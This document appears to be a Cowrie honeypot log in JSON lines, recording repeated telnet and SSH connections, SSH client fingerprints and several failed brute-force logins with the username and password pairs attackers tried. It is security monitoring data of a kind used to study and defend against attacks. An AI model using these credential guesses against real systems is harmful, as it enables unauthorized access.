{"eventid":"cowrie.session.closed","duration":41.188390254974365,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:41:47.729433Z","src_ip":"192.119.13.58","session":"ed4003b45a7a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42764,"dst_ip":"10.17.0.5","dst_port":23,"session":"6afc8cd03ed3","protocol":"telnet","message":"New connection: 192.119.13.58:42764 (10.17.0.5:23) [session: 6afc8cd03ed3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:41:49.807418Z"}
{"eventid":"cowrie.session.closed","duration":41.19330930709839,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:41:50.899970Z","src_ip":"192.119.13.58","session":"15c7d7c03e59","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.225101470947266,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:42:00.213418Z","src_ip":"192.119.13.58","session":"a0b7b1f26057","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.95230984687805,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:42:10.403586Z","src_ip":"192.119.13.58","session":"142f19904190","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44584,"dst_ip":"10.17.0.5","dst_port":23,"session":"f4d79e147cd9","protocol":"telnet","message":"New connection: 192.119.13.58:44584 (10.17.0.5:23) [session: f4d79e147cd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:42:11.717865Z"}
{"eventid":"cowrie.session.closed","duration":31.81212091445923,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:42:12.978568Z","src_ip":"192.119.13.58","session":"f4884aa35853","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.80689263343811,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:42:14.261462Z","src_ip":"192.119.13.58","session":"28488bf38f32","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.34643340110779,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:42:14.893682Z","src_ip":"192.119.13.58","session":"83f5ecd4b113","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35802,"dst_ip":"10.17.0.5","dst_port":23,"session":"37f24553efb0","protocol":"telnet","message":"New connection: 192.119.13.58:35802 (10.17.0.5:23) [session: 37f24553efb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:42:23.363099Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53466,"dst_ip":"10.17.0.5","dst_port":23,"session":"5678495dd012","protocol":"telnet","message":"New connection: 192.119.13.58:53466 (10.17.0.5:23) [session: 5678495dd012]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:42:33.945362Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":47264,"dst_ip":"10.17.0.5","dst_port":22,"session":"f5a6e7dfc66f","protocol":"ssh","message":"New connection: 62.133.62.83:47264 (10.17.0.5:22) [session: f5a6e7dfc66f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:42:36.012218Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:42:36.017784Z","src_ip":"62.133.62.83","session":"f5a6e7dfc66f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:42:36.097317Z","src_ip":"62.133.62.83","session":"f5a6e7dfc66f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"monitor","message":"login attempt [root/monitor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:42:36.335259Z","src_ip":"62.133.62.83","session":"f5a6e7dfc66f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:42:37.417785Z","src_ip":"62.133.62.83","session":"f5a6e7dfc66f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43938,"dst_ip":"10.17.0.5","dst_port":23,"session":"a65ec44ba8e5","protocol":"telnet","message":"New connection: 192.119.13.58:43938 (10.17.0.5:23) [session: a65ec44ba8e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:42:38.971430Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47282,"dst_ip":"10.17.0.5","dst_port":23,"session":"17871f79666d","protocol":"telnet","message":"New connection: 192.119.13.58:47282 (10.17.0.5:23) [session: 17871f79666d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:42:39.851242Z"}
{"eventid":"cowrie.session.closed","duration":56.307918310165405,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:42:46.115240Z","src_ip":"192.119.13.58","session":"6afc8cd03ed3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.004993200302124,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:42:51.722707Z","src_ip":"192.119.13.58","session":"f4d79e147cd9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42284,"dst_ip":"10.17.0.5","dst_port":23,"session":"f6c42b08481c","protocol":"telnet","message":"New connection: 192.119.13.58:42284 (10.17.0.5:23) [session: f6c42b08481c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:42:52.747095Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33192,"dst_ip":"10.17.0.5","dst_port":23,"session":"11cdfa02d226","protocol":"telnet","message":"New connection: 192.119.13.58:33192 (10.17.0.5:23) [session: 11cdfa02d226]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:43:03.210254Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43006,"dst_ip":"10.17.0.5","dst_port":23,"session":"a95b1cd88337","protocol":"telnet","message":"New connection: 192.119.13.58:43006 (10.17.0.5:23) [session: a95b1cd88337]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:43:05.398794Z"}
{"eventid":"cowrie.session.closed","duration":50.18188214302063,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:43:13.544879Z","src_ip":"192.119.13.58","session":"37f24553efb0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36108,"dst_ip":"10.17.0.5","dst_port":23,"session":"288b82327232","protocol":"telnet","message":"New connection: 192.119.13.58:36108 (10.17.0.5:23) [session: 288b82327232]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:43:15.866282Z"}
{"eventid":"cowrie.session.closed","duration":42.597838163375854,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:43:16.543061Z","src_ip":"192.119.13.58","session":"5678495dd012","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41238,"dst_ip":"10.17.0.5","dst_port":23,"session":"2b6b57e6696f","protocol":"telnet","message":"New connection: 192.119.13.58:41238 (10.17.0.5:23) [session: 2b6b57e6696f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:43:16.956243Z"}
{"eventid":"cowrie.session.closed","duration":37.75814628601074,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:43:17.609292Z","src_ip":"192.119.13.58","session":"17871f79666d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39112,"dst_ip":"10.17.0.5","dst_port":23,"session":"0a6543390438","protocol":"telnet","message":"New connection: 192.119.13.58:39112 (10.17.0.5:23) [session: 0a6543390438]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:43:22.536367Z"}
{"eventid":"cowrie.session.closed","duration":43.75318622589111,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:43:22.724470Z","src_ip":"192.119.13.58","session":"a65ec44ba8e5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42058,"dst_ip":"10.17.0.5","dst_port":23,"session":"08924cd1de53","protocol":"telnet","message":"New connection: 192.119.13.58:42058 (10.17.0.5:23) [session: 08924cd1de53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:43:30.401320Z"}
{"eventid":"cowrie.session.closed","duration":48.18478345870972,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:43:40.931759Z","src_ip":"192.119.13.58","session":"f6c42b08481c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51864,"dst_ip":"10.17.0.5","dst_port":23,"session":"82e43b7bf587","protocol":"telnet","message":"New connection: 192.119.13.58:51864 (10.17.0.5:23) [session: 82e43b7bf587]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:43:41.372060Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":54332,"dst_ip":"10.17.0.5","dst_port":22,"session":"85194b1422aa","protocol":"ssh","message":"New connection: 103.172.78.219:54332 (10.17.0.5:22) [session: 85194b1422aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:43:43.416215Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:43:43.420274Z","src_ip":"103.172.78.219","session":"85194b1422aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:43:43.666304Z","src_ip":"103.172.78.219","session":"85194b1422aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"milashka","message":"login attempt [root/milashka] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:43:44.405276Z","src_ip":"103.172.78.219","session":"85194b1422aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:43:45.655683Z","src_ip":"103.172.78.219","session":"85194b1422aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.86235475540161,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:43:50.072299Z","src_ip":"192.119.13.58","session":"11cdfa02d226","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.43640375137329,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:43:50.835066Z","src_ip":"192.119.13.58","session":"a95b1cd88337","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":41146,"dst_ip":"10.17.0.5","dst_port":22,"session":"249cd8a8bac8","protocol":"ssh","message":"New connection: 80.94.92.184:41146 (10.17.0.5:22) [session: 249cd8a8bac8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:43:53.751772Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43812,"dst_ip":"10.17.0.5","dst_port":23,"session":"ca94d4de24e3","protocol":"telnet","message":"New connection: 192.119.13.58:43812 (10.17.0.5:23) [session: ca94d4de24e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:43:53.763206Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:43:53.775087Z","src_ip":"80.94.92.184","session":"249cd8a8bac8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:43:53.940650Z","src_ip":"80.94.92.184","session":"249cd8a8bac8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv@123","message":"login attempt [solv/solv@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:43:54.546856Z","src_ip":"80.94.92.184","session":"249cd8a8bac8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:43:56.077458Z","src_ip":"80.94.92.184","session":"249cd8a8bac8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.23219847679138,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:43:57.768425Z","src_ip":"192.119.13.58","session":"0a6543390438","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.74083471298218,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:43:59.606811Z","src_ip":"192.119.13.58","session":"288b82327232","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34964,"dst_ip":"10.17.0.5","dst_port":23,"session":"e7682f0d4331","protocol":"telnet","message":"New connection: 192.119.13.58:34964 (10.17.0.5:23) [session: e7682f0d4331]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:44:05.467024Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":48196,"dst_ip":"10.17.0.5","dst_port":22,"session":"a0a60465d75e","protocol":"ssh","message":"New connection: 103.149.170.125:48196 (10.17.0.5:22) [session: a0a60465d75e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:44:05.537120Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:44:05.547079Z","src_ip":"103.149.170.125","session":"a0a60465d75e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:44:05.819787Z","src_ip":"103.149.170.125","session":"a0a60465d75e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"11111a","message":"login attempt [root/11111a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:44:06.941127Z","src_ip":"103.149.170.125","session":"a0a60465d75e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:44:08.215475Z","src_ip":"103.149.170.125","session":"a0a60465d75e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.39716553688049,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:44:09.798366Z","src_ip":"192.119.13.58","session":"08924cd1de53","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":54.37069296836853,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:44:11.326815Z","src_ip":"192.119.13.58","session":"2b6b57e6696f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41788,"dst_ip":"10.17.0.5","dst_port":23,"session":"45c02f9bbeda","protocol":"telnet","message":"New connection: 192.119.13.58:41788 (10.17.0.5:23) [session: 45c02f9bbeda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:44:14.562592Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45110,"dst_ip":"10.17.0.5","dst_port":23,"session":"04e39b0ae939","protocol":"telnet","message":"New connection: 192.119.13.58:45110 (10.17.0.5:23) [session: 04e39b0ae939]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:44:15.620852Z"}
{"eventid":"cowrie.session.closed","duration":0.006529808044433594,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:44:15.627419Z","src_ip":"192.119.13.58","session":"04e39b0ae939","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45458,"dst_ip":"10.17.0.5","dst_port":23,"session":"e282539ba3b1","protocol":"telnet","message":"New connection: 192.119.13.58:45458 (10.17.0.5:23) [session: e282539ba3b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:44:15.735376Z"}
{"eventid":"cowrie.session.closed","duration":35.26399278640747,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:44:16.635938Z","src_ip":"192.119.13.58","session":"82e43b7bf587","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50970,"dst_ip":"10.17.0.5","dst_port":23,"session":"e635eaa8668b","protocol":"telnet","message":"New connection: 192.119.13.58:50970 (10.17.0.5:23) [session: e635eaa8668b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:44:25.843721Z"}
{"eventid":"cowrie.session.closed","duration":43.75007152557373,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:44:37.513131Z","src_ip":"192.119.13.58","session":"ca94d4de24e3","protocol":"telnet"}
